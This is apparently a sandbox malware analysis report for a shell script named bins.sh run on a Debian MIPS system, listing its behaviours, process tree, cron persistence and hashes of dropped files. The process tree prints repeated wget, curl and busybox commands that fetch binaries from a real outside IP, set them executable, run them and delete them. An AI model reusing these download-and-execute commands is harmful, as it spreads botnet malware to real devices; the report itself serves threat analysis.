Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04/11/2024, 20:17

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241104-y2ntrawfqd
  • SHA256 a7ed1eb5952b365460201c73b32d87295f8d2b0faf69864665431fe40e4f98de
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 36 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          ./3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            ./q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Executes dropped EXE
            PID:746
          • /bin/rm
            rm q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
              2⤵
              • Writes file to tmp directory
              PID:749
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
              2⤵
              • Writes file to tmp directory
              PID:752
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
              2⤵
              • Writes file to tmp directory
              PID:764
            • /bin/chmod
              chmod 777 GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
              2⤵
              • File and Directory Permissions Modification
              PID:770
            • /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
              ./GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
              2⤵
              • Executes dropped EXE
              PID:771
            • /bin/rm
              rm GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
              2⤵
                PID:774
              • /usr/bin/wget
                wget http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                2⤵
                • Writes file to tmp directory
                PID:775
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:784
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                2⤵
                • Writes file to tmp directory
                PID:801
              • /bin/chmod
                chmod 777 E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                2⤵
                • File and Directory Permissions Modification
                PID:803
              • /tmp/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                ./E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                2⤵
                • Executes dropped EXE
                PID:805
              • /bin/rm
                rm E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                2⤵
                  PID:807
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                  2⤵
                  • Writes file to tmp directory
                  PID:808
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                  2⤵
                  • Writes file to tmp directory
                  PID:809
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                  2⤵
                  • Writes file to tmp directory
                  PID:813
                • /bin/chmod
                  chmod 777 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                  2⤵
                  • File and Directory Permissions Modification
                  PID:847
                • /tmp/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                  ./8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                  2⤵
                  • Executes dropped EXE
                  PID:848
                • /bin/rm
                  rm 8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                  2⤵
                    PID:850
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/sEldxbvcSqel9s3Xzt0PfeFBuTKDGwbQvv
                    2⤵
                    • Writes file to tmp directory
                    PID:851
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/sEldxbvcSqel9s3Xzt0PfeFBuTKDGwbQvv
                    2⤵
                    • Writes file to tmp directory
                    PID:852
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/sEldxbvcSqel9s3Xzt0PfeFBuTKDGwbQvv
                    2⤵
                    • Writes file to tmp directory
                    PID:853
                  • /bin/chmod
                    chmod 777 sEldxbvcSqel9s3Xzt0PfeFBuTKDGwbQvv
                    2⤵
                    • File and Directory Permissions Modification
                    PID:854
                  • /tmp/sEldxbvcSqel9s3Xzt0PfeFBuTKDGwbQvv
                    ./sEldxbvcSqel9s3Xzt0PfeFBuTKDGwbQvv
                    2⤵
                    • Executes dropped EXE
                    PID:855
                  • /bin/rm
                    rm sEldxbvcSqel9s3Xzt0PfeFBuTKDGwbQvv
                    2⤵
                      PID:857
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/vVhbYeczxZGOE086N4pb2dPggozUcygzUY
                      2⤵
                      • Writes file to tmp directory
                      PID:858
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/vVhbYeczxZGOE086N4pb2dPggozUcygzUY
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:859
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/vVhbYeczxZGOE086N4pb2dPggozUcygzUY
                      2⤵
                      • Writes file to tmp directory
                      PID:860
                    • /bin/chmod
                      chmod 777 vVhbYeczxZGOE086N4pb2dPggozUcygzUY
                      2⤵
                      • File and Directory Permissions Modification
                      PID:861
                    • /tmp/vVhbYeczxZGOE086N4pb2dPggozUcygzUY
                      ./vVhbYeczxZGOE086N4pb2dPggozUcygzUY
                      2⤵
                      • Executes dropped EXE
                      PID:862
                    • /bin/rm
                      rm vVhbYeczxZGOE086N4pb2dPggozUcygzUY
                      2⤵
                        PID:864
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/Q0OLJReyTHq6h8uYHQWxhBIhkkRMOoRuNO
                        2⤵
                        • Writes file to tmp directory
                        PID:865
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/Q0OLJReyTHq6h8uYHQWxhBIhkkRMOoRuNO
                        2⤵
                        • Writes file to tmp directory
                        PID:866
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/Q0OLJReyTHq6h8uYHQWxhBIhkkRMOoRuNO
                        2⤵
                        • Writes file to tmp directory
                        PID:867
                      • /bin/chmod
                        chmod 777 Q0OLJReyTHq6h8uYHQWxhBIhkkRMOoRuNO
                        2⤵
                        • File and Directory Permissions Modification
                        PID:868
                      • /tmp/Q0OLJReyTHq6h8uYHQWxhBIhkkRMOoRuNO
                        ./Q0OLJReyTHq6h8uYHQWxhBIhkkRMOoRuNO
                        2⤵
                        • Executes dropped EXE
                        PID:869
                      • /bin/rm
                        rm Q0OLJReyTHq6h8uYHQWxhBIhkkRMOoRuNO
                        2⤵
                          PID:871
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/aFUdVM6aqK7KaJbQZmzR8yLSG6CDvmV475
                          2⤵
                          • Writes file to tmp directory
                          PID:872
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/aFUdVM6aqK7KaJbQZmzR8yLSG6CDvmV475
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:873
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/aFUdVM6aqK7KaJbQZmzR8yLSG6CDvmV475
                          2⤵
                          • Writes file to tmp directory
                          PID:874
                        • /bin/chmod
                          chmod 777 aFUdVM6aqK7KaJbQZmzR8yLSG6CDvmV475
                          2⤵
                          • File and Directory Permissions Modification
                          PID:875
                        • /tmp/aFUdVM6aqK7KaJbQZmzR8yLSG6CDvmV475
                          ./aFUdVM6aqK7KaJbQZmzR8yLSG6CDvmV475
                          2⤵
                          • Executes dropped EXE
                          PID:876
                        • /bin/rm
                          rm aFUdVM6aqK7KaJbQZmzR8yLSG6CDvmV475
                          2⤵
                            PID:878
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/ob8jOsEf3o8qgwPAa0fajhT1GjGmq9F5xI
                            2⤵
                            • Writes file to tmp directory
                            PID:879
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/ob8jOsEf3o8qgwPAa0fajhT1GjGmq9F5xI
                            2⤵
                            • Writes file to tmp directory
                            PID:880
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/ob8jOsEf3o8qgwPAa0fajhT1GjGmq9F5xI
                            2⤵
                            • Writes file to tmp directory
                            PID:881
                          • /bin/chmod
                            chmod 777 ob8jOsEf3o8qgwPAa0fajhT1GjGmq9F5xI
                            2⤵
                            • File and Directory Permissions Modification
                            PID:882
                          • /tmp/ob8jOsEf3o8qgwPAa0fajhT1GjGmq9F5xI
                            ./ob8jOsEf3o8qgwPAa0fajhT1GjGmq9F5xI
                            2⤵
                            • Executes dropped EXE
                            PID:883
                          • /bin/rm
                            rm ob8jOsEf3o8qgwPAa0fajhT1GjGmq9F5xI
                            2⤵
                              PID:885
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/11HWpfvljdDTZVMgNF8RO5lgfGjrh1bwPF
                              2⤵
                              • Writes file to tmp directory
                              PID:886
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/11HWpfvljdDTZVMgNF8RO5lgfGjrh1bwPF
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:887
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/11HWpfvljdDTZVMgNF8RO5lgfGjrh1bwPF
                              2⤵
                              • Writes file to tmp directory
                              PID:888
                            • /bin/chmod
                              chmod 777 11HWpfvljdDTZVMgNF8RO5lgfGjrh1bwPF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:889
                            • /tmp/11HWpfvljdDTZVMgNF8RO5lgfGjrh1bwPF
                              ./11HWpfvljdDTZVMgNF8RO5lgfGjrh1bwPF
                              2⤵
                              • Executes dropped EXE
                              PID:890
                            • /bin/rm
                              rm 11HWpfvljdDTZVMgNF8RO5lgfGjrh1bwPF
                              2⤵
                                PID:892
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/hT6F8ZCHVaiA9lBibmoEKcYOMDVFqSjU7U
                                2⤵
                                • Writes file to tmp directory
                                PID:893
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/hT6F8ZCHVaiA9lBibmoEKcYOMDVFqSjU7U
                                2⤵
                                • Writes file to tmp directory
                                PID:894
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/hT6F8ZCHVaiA9lBibmoEKcYOMDVFqSjU7U
                                2⤵
                                • Writes file to tmp directory
                                PID:895
                              • /bin/chmod
                                chmod 777 hT6F8ZCHVaiA9lBibmoEKcYOMDVFqSjU7U
                                2⤵
                                • File and Directory Permissions Modification
                                PID:896
                              • /tmp/hT6F8ZCHVaiA9lBibmoEKcYOMDVFqSjU7U
                                ./hT6F8ZCHVaiA9lBibmoEKcYOMDVFqSjU7U
                                2⤵
                                • Executes dropped EXE
                                • Renames itself
                                • Reads runtime system information
                                PID:897
                                • /bin/sh
                                  sh -c "crontab -l"
                                  3⤵
                                    PID:899
                                    • /usr/bin/crontab
                                      crontab -l
                                      4⤵
                                      • Reads runtime system information
                                      PID:900
                                  • /bin/sh
                                    sh -c "crontab -"
                                    3⤵
                                      PID:901
                                      • /usr/bin/crontab
                                        crontab -
                                        4⤵
                                        • Creates/modifies Cron job
                                        PID:902
                                  • /bin/rm
                                    rm hT6F8ZCHVaiA9lBibmoEKcYOMDVFqSjU7U
                                    2⤵
                                      PID:904
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/Xr5tDU0qKlYpd5p9LkcMCKxebxjqiO6qlR
                                      2⤵
                                        PID:907
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/Xr5tDU0qKlYpd5p9LkcMCKxebxjqiO6qlR
                                        2⤵
                                          PID:908

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            11HWpfvljdDTZVMgNF8RO5lgfGjrh1bwPF

                                            • Path /tmp/11HWpfvljdDTZVMgNF8RO5lgfGjrh1bwPF
                                            • Size 177KB
                                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                            • MD5 SHA1 SHA512 SSDEEP

                                            3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq

                                            • Path /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
                                            • Size 141KB
                                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                            • MD5 SHA1 SHA512 SSDEEP

                                            8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs

                                            • Path /tmp/8WFounZGbZXsMF4FelpDqK2Vxd7WpulXMs
                                            • Size 112KB
                                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                            • MD5 SHA1 SHA512 SSDEEP

                                            E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc

                                            • Path /tmp/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                                            • Size 117KB
                                            • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                            • MD5 SHA1 SHA512 SSDEEP

                                            GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re

                                            • Path /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                                            • Size 111KB
                                            • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                            • MD5 SHA1 SHA512 SSDEEP

                                            Q0OLJReyTHq6h8uYHQWxhBIhkkRMOoRuNO

                                            • Path /tmp/Q0OLJReyTHq6h8uYHQWxhBIhkkRMOoRuNO
                                            • Size 122KB
                                            • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                            • MD5 SHA1 SHA512 SSDEEP

                                            aFUdVM6aqK7KaJbQZmzR8yLSG6CDvmV475

                                            • Path /tmp/aFUdVM6aqK7KaJbQZmzR8yLSG6CDvmV475
                                            • Size 107KB
                                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                            • MD5 SHA1 SHA512 SSDEEP

                                            hT6F8ZCHVaiA9lBibmoEKcYOMDVFqSjU7U

                                            • Path /tmp/hT6F8ZCHVaiA9lBibmoEKcYOMDVFqSjU7U
                                            • Size 151KB
                                            • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                            • MD5 SHA1 SHA512 SSDEEP

                                            ob8jOsEf3o8qgwPAa0fajhT1GjGmq9F5xI

                                            • Path /tmp/ob8jOsEf3o8qgwPAa0fajhT1GjGmq9F5xI
                                            • Size 98KB
                                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                            • MD5 SHA1 SHA512 SSDEEP

                                            q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF

                                            • Path /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
                                            • Size 151KB
                                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                            • MD5 SHA1 SHA512 SSDEEP

                                            sEldxbvcSqel9s3Xzt0PfeFBuTKDGwbQvv

                                            • Path /tmp/sEldxbvcSqel9s3Xzt0PfeFBuTKDGwbQvv
                                            • Size 119KB
                                            • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                            • MD5 SHA1 SHA512 SSDEEP

                                            vVhbYeczxZGOE086N4pb2dPggozUcygzUY

                                            • Path /tmp/vVhbYeczxZGOE086N4pb2dPggozUcygzUY
                                            • Size 127KB
                                            • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                            • MD5 SHA1 SHA512 SSDEEP

                                            tmp.f4HQOv

                                            • Path /var/spool/cron/crontabs/tmp.f4HQOv
                                            • Size 210B
                                            • SHA256 5299fa1543dd512edfcbaee5cacc9cefc6c2b45830354b80edda0b9e439b369a
                                            • MD5 SHA1 SHA512